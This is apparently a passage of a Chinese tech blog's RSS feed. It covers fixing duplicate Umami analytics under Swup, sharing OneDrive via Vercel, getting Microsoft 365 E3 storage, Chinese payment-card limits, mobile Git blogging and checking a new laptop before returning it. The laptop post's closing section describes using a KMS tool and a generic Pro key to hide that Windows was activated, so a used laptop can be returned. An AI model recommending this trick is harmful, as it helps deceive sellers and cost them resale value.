&lt;p&gt;于是他提交了一个 issue：&lt;a href=&quot;https://github.com/afoim/fuwari/issues/79&quot;&gt;Bug: 站内转跳时由于swup处理不当导致的多umami实例 · Issue #79 · afoim/fuwari&lt;/a&gt;。问题的核心是 Swup 不应该接管这类脚本资源，把相关 JS 排除后，问题确实得到了解决。&lt;/p&gt;
&lt;p&gt;按 issue 中的方法调整后，我们随便打开一个页面，再来分析一次请求情况：
&lt;img src=&quot;https://2x.nz/_astro/swup-js-2.EWeNpwit.webp&quot; alt=&quot;&quot; /&gt;
我们只看Umami请求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://cloud.umami.is/script.js ：Umami官方的全局JS，注入在所有页面中，用于后续将访客行为告知给Umami&lt;/li&gt;
&lt;li&gt;http://localhost:4321/js/umami-share.js ：之前写的中间件，用于避免多次请求Umami拿全局Token&lt;/li&gt;
&lt;li&gt;https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;amp;endAt=1763429011353&amp;amp;unit=hour&amp;amp;timezone=Asia%2FShanghai&amp;amp;compare=false ：获取全站统计信息。为什么在文章页也会获取全站统计？因为全站统计被安放在用户配置块，而用户配置块全局可见&lt;/li&gt;
&lt;li&gt;https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0&amp;amp;endAt=1763429243350&amp;amp;unit=hour&amp;amp;timezone=Asia%2FShanghai&amp;amp;path=eq.%2Fposts%2Fswup-js%2F&amp;amp;compare=false ：获取本页统计信息&lt;/li&gt;
&lt;li&gt;两个预检请求：由于存在 CORS，请求源和被请求源不一致，因此浏览器会先发起预检请求，再决定是否继续发送正式请求。这是浏览器的安全机制，用来确认目标站点是否明确允许这次跨域访问。&lt;/li&gt;
&lt;li&gt;https://api-gateway.umami.dev/api/send ：Umami的官方JS，用于将本次访问的行为汇报给Umami&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;到这里，问题就算彻底解决了：没有多余实例，也没有冗余请求，整体请求链路也干净了很多。&lt;/p&gt;
</content:encoded></item><item><title>来！让我们用Vercel来分享你的OneDrive！</title><link>https://2x.nz/posts/onedrive-index/</link><guid isPermaLink="true">https://2x.nz/posts/onedrive-index/</guid><description>利用onedrive-index这个项目可以将你的OneDrive映射到公网，轻松分发资源！</description><pubDate>Fri, 14 Nov 2025 07:03:46 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;你可以根据&lt;a href=&quot;/posts/ms-e3/&quot;&gt;前文&lt;/a&gt;免费拿E3，得到至高免费5T的OneDrive存储空间，也可以用你个人永久免费的5G空间，都可以！&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://ovi.swo.moe/zh/docs/advanced#%E4%BD%BF%E7%94%A8%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84-client-id-%E4%B8%8E-secret&quot;&gt;高级 - OneDrive Vercel Index&lt;/a&gt; 拿到 clientid 和 secret&lt;/p&gt;
&lt;p&gt;前往该页面，点击快速部署 &lt;a href=&quot;https://github.com/iRedScarf/onedrive-index/blob/main/README.zh-CN.md#%E9%83%A8%E7%BD%B2%E5%88%B0vercel&quot;&gt;onedrive-index/README.zh-CN.md at main · iRedScarf/onedrive-index&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-1.BZtuneMQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;填写必须的5个环境变量
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-2.CQ9CZZTp.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中，USER_PRINCIPAL_NAME为类似 huding@Smartree233.onmicrosoft.com 的电子邮箱，也就是你登陆OneDrive的用户名&lt;/p&gt;
&lt;p&gt;Vercel部署完毕后，会报错连不上Redis，因为我们还没创建和绑定，现在我们开始做
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-3.DfQM9KAo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://vercel.com/integrations/upstash 点击 Install
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-4.CE4_0x5I.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择你要绑定的Vercel项目，并且设置Redis实例名称
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-5.DzgDLCNx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;来到Vercel的环境变量页面，这就是绑定成功了
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-6.C0VmaHZl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随便打开一个部署，点击 Redeploy 重新部署，就能成功连接数据库了&lt;/p&gt;
&lt;p&gt;接下来访问你的项目域名，进入OneDrive-Index的引导，需要打开微软的一个链接授权&lt;/p&gt;
&lt;p&gt;授权后会重定向到一个localhost的域名，复制该URI，粘贴回OneDrive-Index即可（仅需一次）&lt;/p&gt;
&lt;p&gt;成功部署！
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-7.CoZuqq27.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;同项目更改OneDrive账号&lt;/h1&gt;
&lt;p&gt;首先在Vercel上更改这三个环境变量
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-8.BJkmuA0m.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后打开 Upstash 找到对应的Redis，删除里面存储的所有Token
&lt;img src=&quot;https://2x.nz/_astro/onedrive-index-9.DDZaGgoc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>永久免费OneDrive 5T，MS 365 E3保姆级拿下教程！</title><link>https://2x.nz/posts/ms-e3/</link><guid isPermaLink="true">https://2x.nz/posts/ms-e3/</guid><description>曾经免费拿E5，但是封车很久了，现在E3又来了，快上车！</description><pubDate>Fri, 14 Nov 2025 06:09:41 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!CAUTION]
已封车&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;参考文献&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.naixi.net/thread-6702-1-1.html&quot;&gt;微软Office365 E3订阅回归？25个E3 Dev免费开通指南 - 极圈 奶昔论坛&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://forum.naixi.net/forum.php?mod=viewthread&amp;amp;tid=6723&quot;&gt;垃圾Dev！Office E3 Symphony可以订阅200万个授权许可 - 极圈 奶昔论坛&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注： 不建议碰Symphony&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;注册一个全局管理员，一路下一步，到绑卡那里直接退出然后用你的 &lt;code&gt;xxx@xxx.onmicrosoft.com&lt;/code&gt; 去登录就行，纳税人识别号随便填（认认真真写，地址精确到你区县就好了，国家一定要填CN，不然后面没办法走支付宝） https://signup.microsoft.com/get-started/signup?products=35dffc92-9eb4-4d5c-82c2-2582b37bb9c4&amp;amp;culture=zh-cn&amp;amp;country=cn&lt;/p&gt;
&lt;p&gt;买 E3（选择支付宝即可） https://admin.cloud.microsoft/?pid=C69E7747-2566-4897-8CBA-B998ED3BAB88&amp;amp;quan=25&amp;amp;bc=1&amp;amp;sku=189a915c-fe4f-4ffa-bde4-85b9628d07a0&amp;amp;ru=PDP#/Purchase/checkout&lt;/p&gt;
&lt;p&gt;进 微软365管理中心 &lt;a href=&quot;https://admin.cloud.microsoft/#/homepage&quot;&gt;主页 - Microsoft 365 admin center&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;点击 账单 - 你的产品
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-1.CT8_R3-7.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点分配许可证
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-2.C7izJnJS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分配给你主账户
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-3.CWe5qRH4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;你已经可以用1T OneDrive了，进入 &lt;a href=&quot;https://myapplications.microsoft.com/&quot;&gt;My Apps&lt;/a&gt; 选择OneDrive（如果进不去，或者根本没有OneDrive应用，可以直接使用 &lt;code&gt;https://你的组织名-my.sharepoint.com/my&lt;/code&gt; 尝试访问，记得开梯子）
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-4.ClldijXL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们来扩容&lt;/p&gt;
&lt;p&gt;在管理中心点击全部显示
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-5.By3ANI_P.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 SharePoint
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-6.Ds-zKIFe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更改 设置 - OneDrive - 存储限制 为 5120 GB
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-7.C0WAg5Dt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时等等你的账号就会同步扩容了，如果等不及我们可以来手动强制扩容&lt;/p&gt;
&lt;p&gt;回到 管理中心 选择 用户-活跃用户-管理角色-OneDrive，强制扩容
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-8.BEAEE4OX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/ms-e3-9.CYXFGZaD.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用刚才讲过的方法进入OneDrive，成功扩容
&lt;img src=&quot;https://2x.nz/_astro/ms-e3-10.CdmnJ1FQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，注意一下，及时前往 &lt;a href=&quot;https://mysignins.microsoft.com/security-info&quot;&gt;My Sign-Ins | Security Info | Microsoft.com&lt;/a&gt; 绑定更多的安全信息，避免日后无法访问账号
&lt;img src=&quot;https://2x.nz/_astro/e4d124d4c11d25813b40a984b6c15465.CMcBS9aF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>微信，支付宝，储蓄卡与信用卡的爱恨情仇</title><link>https://2x.nz/posts/wx-zfb-card/</link><guid isPermaLink="true">https://2x.nz/posts/wx-zfb-card/</guid><description>在中国，一卡并不能通刷，鉴于二维码的普及，大部分商户使用扫码付款而不是刷卡付款，这可能会导致一些问题...</description><pubDate>Tue, 11 Nov 2025 00:20:44 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;就像简介所说，中国并不像国外，一张信用卡通刷一切，在海外购物，一般都用POS机刷卡，或者NFC支付，在中国，得益于二维码和微信支付宝的推广，一般我们有两种方式支付，一种是商家挂一个二维码，你主动给商家付款，而另一种是你展示付款码，商家来扫你扣款。无论是方法一还是方法二，都不是直接从 &lt;strong&gt;银联&lt;/strong&gt; 扣款的，要不，你用的是 &lt;strong&gt;支付宝&lt;/strong&gt; ，要不就是 &lt;strong&gt;微信&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;左右互搏的付款方式&lt;/h1&gt;
&lt;p&gt;那么问题就渐渐浮现了，由于 &lt;strong&gt;支付宝&lt;/strong&gt; 是阿里的，而 &lt;strong&gt;微信&lt;/strong&gt; 是腾讯的，如果你想要在 &lt;strong&gt;淘宝&lt;/strong&gt; 也就是 &lt;strong&gt;阿里系&lt;/strong&gt; 软件付款，你是用不了微信的，反之，如果你想要在 &lt;strong&gt;腾讯系&lt;/strong&gt; 软件消费，你也是用不了支付宝的&lt;/p&gt;
&lt;p&gt;那么，这种情况如何解决呢？&lt;/p&gt;
&lt;p&gt;没错，该银行卡出场了。在国外，银行卡是你的消费工具，在中国，银行卡是你在微信和支付宝两者的 &lt;strong&gt;兼容层&lt;/strong&gt; 。假如，你的钱全部都存在微信，而你要付款的商户仅支持支付宝支付，那么这个时候，首先，你要将你的银行卡先绑定到微信和支付宝，你就需要先将款项从微信余额 &lt;strong&gt;提现&lt;/strong&gt; 到你的银行卡，再打开支付宝，选择 &lt;strong&gt;充值&lt;/strong&gt; ，将银行卡的钱充值到你的支付宝余额（当然，你也可以借助支付宝直接刷你银行卡里面的钱）&lt;/p&gt;
&lt;p&gt;问题好像完美的解决了！只要有银行卡这个兼容层，你的余额无关平台了！只是付款的时候有时需要转换一下平台而已！真的是这样吗？&lt;/p&gt;
&lt;h1&gt;银行中立，也严格&lt;/h1&gt;
&lt;p&gt;因为银行既不隶属于 &lt;strong&gt;腾讯&lt;/strong&gt; ，也不隶属于 &lt;strong&gt;阿里&lt;/strong&gt; ，所以绝大部分银行卡可以很方便的绑定到微信支付宝进行消费&lt;/p&gt;
&lt;p&gt;但是，这种消费方式是否可用，好用则取决于你的发卡行&lt;/p&gt;
&lt;p&gt;说个题外话，你可能不知道的是，阿里实际上也有个银行，叫做 &lt;strong&gt;网商银行&lt;/strong&gt; ，但是该卡 &lt;strong&gt;微信&lt;/strong&gt; 不接受，反之，腾讯实际上也有个银行，叫做 &lt;strong&gt;微众银行&lt;/strong&gt; ，同样，该卡 &lt;strong&gt;支付宝&lt;/strong&gt; 也不接受。所以，想拿这种卡无痛在支付宝和微信互转是不可能的了&lt;/p&gt;
&lt;p&gt;那么如果，你想要让余额在各平台流转，那就必须去找 &lt;strong&gt;中立的&lt;/strong&gt; 银行，如：&lt;strong&gt;交通银行&lt;/strong&gt; 、 &lt;strong&gt;农业银行&lt;/strong&gt; 、&lt;strong&gt;广发银行&lt;/strong&gt; 等等&lt;/p&gt;
&lt;p&gt;世界上这么多银行，他们并不都是一视同仁的，鉴于国家近几年对于 &lt;strong&gt;反诈，反洗钱&lt;/strong&gt; 的打击，特别是针对 &lt;strong&gt;未成年人&lt;/strong&gt; ，你使用 &lt;strong&gt;中国银行&lt;/strong&gt; &lt;strong&gt;工商银行&lt;/strong&gt; 等 &lt;strong&gt;国有大行&lt;/strong&gt; 进行 &lt;strong&gt;大额快进快出&lt;/strong&gt; 时大概率会被冻结，并且无法通过网银解除，必须手动跑一次线下，这非常恶心，所以，如果你要开卡，就选择附近最近的银行，且不要选择那些国有大行&lt;/p&gt;
&lt;p&gt;我家附近有 &lt;strong&gt;交通银行&lt;/strong&gt; &lt;strong&gt;农业银行&lt;/strong&gt; &lt;strong&gt;工商银行&lt;/strong&gt; ，目前这三大行的卡我都有，交行Ⅱ类卡一张线下开，农行Ⅰ类卡一张、信用卡一张，工行社保卡（Ⅰ类）卡一张，另有Ⅰ类卡一张&lt;/p&gt;
&lt;p&gt;如果你没有研究过银行卡，你可能不理解Ⅰ类，Ⅱ类，Ⅲ类，特种卡，信用卡等等，这里就大概快速讲下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ⅰ类：储蓄卡。绝大部分发卡行要求 &lt;strong&gt;线下开卡&lt;/strong&gt; ，日限额1w-5w，后期你财力雄厚了可以提。其中，&lt;strong&gt;社保卡、医保卡&lt;/strong&gt; 若有 &lt;strong&gt;储蓄功能&lt;/strong&gt; ，也为Ⅰ类卡，且为 &lt;strong&gt;特种卡&lt;/strong&gt; 。一个自然人一般来说只能自主注册 &lt;strong&gt;一张&lt;/strong&gt; 一类卡（特种卡除外）&lt;/li&gt;
&lt;li&gt;Ⅱ类：储蓄卡。绝大部分发卡行仅要求你有一个 &lt;strong&gt;他行一类卡&lt;/strong&gt; ，然后可以通过 &lt;strong&gt;线上&lt;/strong&gt; 自主注册。日限额1k-1w，不建议开&lt;/li&gt;
&lt;li&gt;Ⅲ类卡：储蓄卡。一般作为 &lt;strong&gt;副卡，亲情卡&lt;/strong&gt; 使用，日限额1k左右，不建议自己用&lt;/li&gt;
&lt;li&gt;特种卡：一般为储蓄卡。大部分为国家要求的 &lt;strong&gt;社保、医保账户&lt;/strong&gt; ，除了一卡多用，其余和一类卡一致&lt;/li&gt;
&lt;li&gt;信用卡：有储蓄功能，但是不咋好用，详见后文。未工作的学生可以申请，但是无信用额度，一般用于海外付款（强制需要CVV/CVC，不接受储蓄卡的收单机构），已工作的将会根据你的工作状态给你批额度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我曾经在使用 &lt;strong&gt;工商银行&lt;/strong&gt; 的储蓄卡进行网上消费，因为想要吃支付宝的优惠，则将微信里面的钱先转到银行卡，然后通过支付宝进行扣款，然后失败了，跑去网点后说我 &lt;strong&gt;大额快进快出&lt;/strong&gt; 还要吃店员的司马脸，好在给了身份证和卡和账单，滴几下就解开了，之后，我就再也没有把钱放在工行了&lt;/p&gt;
&lt;p&gt;设想一个场景，你有一个Ⅰ类卡，日限额10000 CNY，卡里余额8000 CNY，你现在想要购买一个6000 CNY的商品，于是使用微信或支付宝进行支付，然后你款式选错了，于是进行退款，好在商家还没有发货，痛快的给你退款了，然后看似你的卡状态又回到了一开始的状态，你重新确认款式，再次购买，然后被银行卡拒绝了，说超出限额。注意到了吗，当你第一次成功扣款后，你的当日限额就只有 4000 CNY了，哪怕原款项已经原封不动退回你的卡里了，但是你付了就是付了，不管你最终是退款了，还是成功交易了，限额在你的钱从卡到对面商户那边的那一瞬间就已经扣除了，并且无法恢复。同样的，对于将卡里的钱提现到微信和支付宝，也是会扣除你的日限额，所以跨平台互转需谨慎，一不小心，你的卡就会进入只进不出的情况，当你多次交易被拒绝后，某些银行还会暂时冻结你的银行卡，还需要带上身份证跑线下&lt;/p&gt;
&lt;h1&gt;信用卡与储蓄卡&lt;/h1&gt;
&lt;p&gt;不知道你是否注意到一件事，那就是我们在上文提到的Ⅰ类，Ⅱ类，Ⅲ类都提到了 &lt;strong&gt;日限额&lt;/strong&gt; 唯独信用卡没有提到 &lt;strong&gt;日限额&lt;/strong&gt; 。那么，信用卡是否就没有日限额呢？&lt;/p&gt;
&lt;p&gt;对！信用卡的确没有日限额！但是！你微信支付宝的钱无法直接提现到信用卡中，要先转到储蓄卡，然后通过银行APP中的 &lt;strong&gt;转账&lt;/strong&gt; 输入卡号将钱款转入信用卡&lt;/p&gt;
&lt;p&gt;欸？你是否又发现一件事，没错！就算信用卡无日限额，但是最终将钱转到信用卡的时候，还是会扣除你对应的储蓄卡的日限额，你最终能转的钱一天还是那么多&lt;/p&gt;
&lt;p&gt;信用卡无论是否有信用额度，各大发卡行都和微信支付宝有合作，你的日常消费使用信用卡大概率是有优惠，并且每笔都可以攒积分（类似于国外的 &lt;strong&gt;返现&lt;/strong&gt; ）&lt;/p&gt;
&lt;p&gt;但是需要注意，我目前就读的学校食堂仅能用支付宝支付，且不支持信用卡，我只能在储蓄卡中留点余额&lt;/p&gt;
&lt;p&gt;这也是国内支付的一个窘境，各大机构都鼓励你使用信用卡支付，但是有些商家不支持信用卡。而对于没有银行卡的未成年人群体，想要在微信和支付宝互转则是极其困难的，这也催生了 &lt;strong&gt;代付&lt;/strong&gt; 业务，中介收取部分手续费，然后帮你支付（比如你只有微信余额但是想在淘宝买东西）&lt;/p&gt;
&lt;h1&gt;对于巨头，我们只能妥协&lt;/h1&gt;
&lt;p&gt;这几年淘宝曾经灰度了几次微信扫码付，但是大多数用户反馈就看到过几次，经常是今天能付，明天就找不到入口了。而京东始终不支持支付宝支付&lt;/p&gt;
&lt;p&gt;在很长一段时间，&lt;strong&gt;蓝绿争霸&lt;/strong&gt; 并不会停止，我们仍然需要将钱通过银行卡在各平台互转，且自己承担卡被冻结的风险&lt;/p&gt;
&lt;p&gt;而互转的时候，微信通常会收取0.01%的服务费，小额可以通过做活动领取免服务费提现券，而支付宝会给每个自然人终生2w的免费提现额度，之后也会收取0.01%的服务费，在你看来，这可能无关痛痒，但是你想想每天有多少人在使用微信支付宝来回互转余额？就算每笔只收一毛钱的手续费，一秒也能创造出高额的收益，对于巨头，我们只能妥协&lt;/p&gt;
</content:encoded></item><item><title>如何在安卓手机上优雅的写我的博客</title><link>https://2x.nz/posts/mobile-git/</link><guid isPermaLink="true">https://2x.nz/posts/mobile-git/</guid><description>在桌面端，我们可以用 VS Code 和 Obsidian 写文章；那么到了手机上，是否也能保持同样顺手的写作体验？</description><pubDate>Mon, 10 Nov 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;为了让我在出门时也能直接用手机写博客，我专门研究了一下，发现这套方案完全可行。&lt;/p&gt;
&lt;p&gt;首先，我们需要挑选一个手机上的 Git 客户端。这里我使用的是：https://github.com/catpuppyapp/PuppyGit&lt;/p&gt;
&lt;p&gt;安装之后，点击右上角的加号，点击克隆，即可克隆仓库
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-11-13-56_a2e3670364a4153bdb03dad30c8d4108.B_pq0bPi.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建 GitHub Token
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-24-07-55-54-35_df198e732186825c8df26e3c5a10d7cd1.BsE7CcvL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将它添加到 PuppyGit 中。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-24-07-56-23-48_a2e3670364a4153bdb03dad30c8d41081.CAodwmzs.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;连接仓库。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-24-07-56-33-62_a2e3670364a4153bdb03dad30c8d4108.BbP3vh19.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改完成后，点击 &lt;strong&gt;需要提交&lt;/strong&gt; 按钮，进入提交界面。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-11-59-16_a2e3670364a4153bdb03dad30c8d4108.D5XPS_10.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后，点击右上角的三个点，就可以执行最常用的 &lt;strong&gt;提交（commit）&lt;/strong&gt;、&lt;strong&gt;拉取（pull）&lt;/strong&gt; 和 &lt;strong&gt;推送（push）&lt;/strong&gt; 操作。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-13-03-99_a2e3670364a4153bdb03dad30c8d4108.B_LChq2J.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有了 Git 客户端之后，接下来还需要一个顺手的 Markdown 编辑器。很巧，&lt;strong&gt;Obsidian&lt;/strong&gt; 也提供了移动端。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-15-01-63_b5a5c5cb02ca09c784c5d88160e2ec24.CkVll5lv.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开后导入仓库（&lt;code&gt;src/content&lt;/code&gt;）即可。如果你的使用习惯本身就围绕 Obsidian 展开，那么迁移到手机端也会比较自然。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-15-59-46_51606159b24eff83e24a54116878fe3e.CIQupEHm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在桌面端，新建文章通常会使用 Fuwari 提供的 &lt;code&gt;pnpm new-post xxx&lt;/code&gt; 命令；不过在手机上，我们也可以曲线救国：随便选一篇现有文章，&lt;strong&gt;创建副本&lt;/strong&gt; 后再修改元数据即可。
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-11-11-14-17-32-08_51606159b24eff83e24a54116878fe3e.BFuJA4gF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，这篇文章本身也是我用手机写完的。&lt;/p&gt;
</content:encoded></item><item><title>限制级笔记本电脑验机教程</title><link>https://2x.nz/posts/check-notebook/</link><guid isPermaLink="true">https://2x.nz/posts/check-notebook/</guid><description>众所周知，笔记本电脑在激活后就不能七天无理由退了，但是不联网又很难测，那么有没有什么两全其美的办法呢？</description><pubDate>Sun, 09 Nov 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;说在前面&lt;/h1&gt;
&lt;p&gt;首先，购买任何 &lt;strong&gt;较贵重的&lt;/strong&gt; 电子产品，都应该录制 &lt;strong&gt;开箱视频&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一个 &lt;strong&gt;专业的&lt;/strong&gt; 开箱视频应当：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;展示 &lt;strong&gt;完整的，无破损&lt;/strong&gt; 的快递外包装&lt;/li&gt;
&lt;li&gt;完整录制下拆箱过程。&lt;strong&gt;切勿遮挡，漏拍，剪辑过程&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;依次展示包装盒内的内容：包括 &lt;strong&gt;电子产品本体，说明书，保修卡等&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;检查产品是否 &lt;strong&gt;缺发，错发&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;检查产品外观是否有 &lt;strong&gt;破损，污损&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;完整录制下产品开机和测试过程&lt;/li&gt;
&lt;li&gt;若 &lt;strong&gt;确定不想要了&lt;/strong&gt; ，请完整拍摄重新封包并退货的视频&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开箱视频并不会每一次都用到，但在真正用到的时候一定可以减少纠纷&lt;/p&gt;
&lt;h1&gt;激活原理以及绕过原理&lt;/h1&gt;
&lt;p&gt;现代的预装了Windows10/11的笔记本电脑，在出厂后第一次联网后会自动激活且无法撤销&lt;/p&gt;
&lt;p&gt;一旦联网，你的笔电将会&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;和微软服务器通信并自动激活，上报主板id和激活码，自动激活，无需人工干预&lt;/li&gt;
&lt;li&gt;将许可证写入系统，哪怕在断网并人为反激活后，依然可以在断网状态下再次激活&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这道题看似无解，实则有解，归功于Windows按版本许可的激活和x86架构主板的开放性，我们可以采取以下措施做到：
&lt;strong&gt;既不激活系统，又能联网进行测试，且不破坏出厂预装系统&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先，我们要知道，Windows的激活并不是一个许可证通杀所有版本。目前99%的笔记本电脑出厂预装 &lt;strong&gt;Windows 10/11 家庭中文版&lt;/strong&gt; 联网后自动激活的也是这个版本&lt;/p&gt;
&lt;p&gt;那么，我们可以安装一个 &lt;strong&gt;非Windows 10/11家庭中文版&lt;/strong&gt; 的系统（如：专业版，专业工作站版）&lt;/p&gt;
&lt;p&gt;接着，在这个 &lt;strong&gt;我们自己安装的&lt;/strong&gt; 系统里面，大大方方的进行联网测试&lt;/p&gt;
&lt;p&gt;最终，测试完毕，若不满意想要退货，删除 &lt;strong&gt;我们自己安装的&lt;/strong&gt; 系统，然后大大方方走 &lt;strong&gt;7天无理由退货&lt;/strong&gt; ，之后，只要你包装完整，不漏件丢件， &lt;strong&gt;100%退款成功！&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;准备U盘，便于进PE装系统&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先，买一台笔记本电脑，到货后通电自动开机&lt;/p&gt;
&lt;p&gt;关机，然后开机，进入bios，选择U盘作为启动项，进入U盘的PE系统&lt;/p&gt;
&lt;p&gt;打开分区工具，如diskgenius，分一个新区装新系统&lt;/p&gt;
&lt;p&gt;前往微软官方的Windows 10/11下载站下载 &lt;strong&gt;多版本的ISO（有些又叫multi-editon ISO）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将ISO安装导新分的区，注意不要安装 &lt;strong&gt;Windows 家庭中文版&lt;/strong&gt;，除此以外哪个都行&lt;/p&gt;
&lt;p&gt;开机，测试&lt;/p&gt;
&lt;p&gt;如果决定退货，请重新进入pe，还原分区，然后装箱封包退货退款&lt;/p&gt;
&lt;h1&gt;邪道：已经激活了还想退&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;实验性方法，在你确认自己绝对不退之前请不要激活系统！！！这种方法会影响商家的二次销售，请体谅商家！！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如题，假如你已经手贱联网并自动激活了 &lt;strong&gt;Windows 家庭中文版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那么很抱歉，激活了就是激活了，只要商家想查，会查，那么这台机子就是 &lt;strong&gt;已激活&lt;/strong&gt; 你无法改微软的数据库，但是，如果你赌商家只看 &lt;strong&gt;系统层&lt;/strong&gt; 是否激活，那这招可以一试&lt;/p&gt;
&lt;p&gt;首先，用heu kms卸载当前系统密钥，此时打开设置，Windows会被反激活&lt;/p&gt;
&lt;p&gt;这时，再找一个 &lt;strong&gt;专业版&lt;/strong&gt; 的通用密钥，选择 &lt;strong&gt;升级Windows&lt;/strong&gt; 输入密钥，等待系统自动升级为 &lt;strong&gt;专业版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后退货&lt;/p&gt;
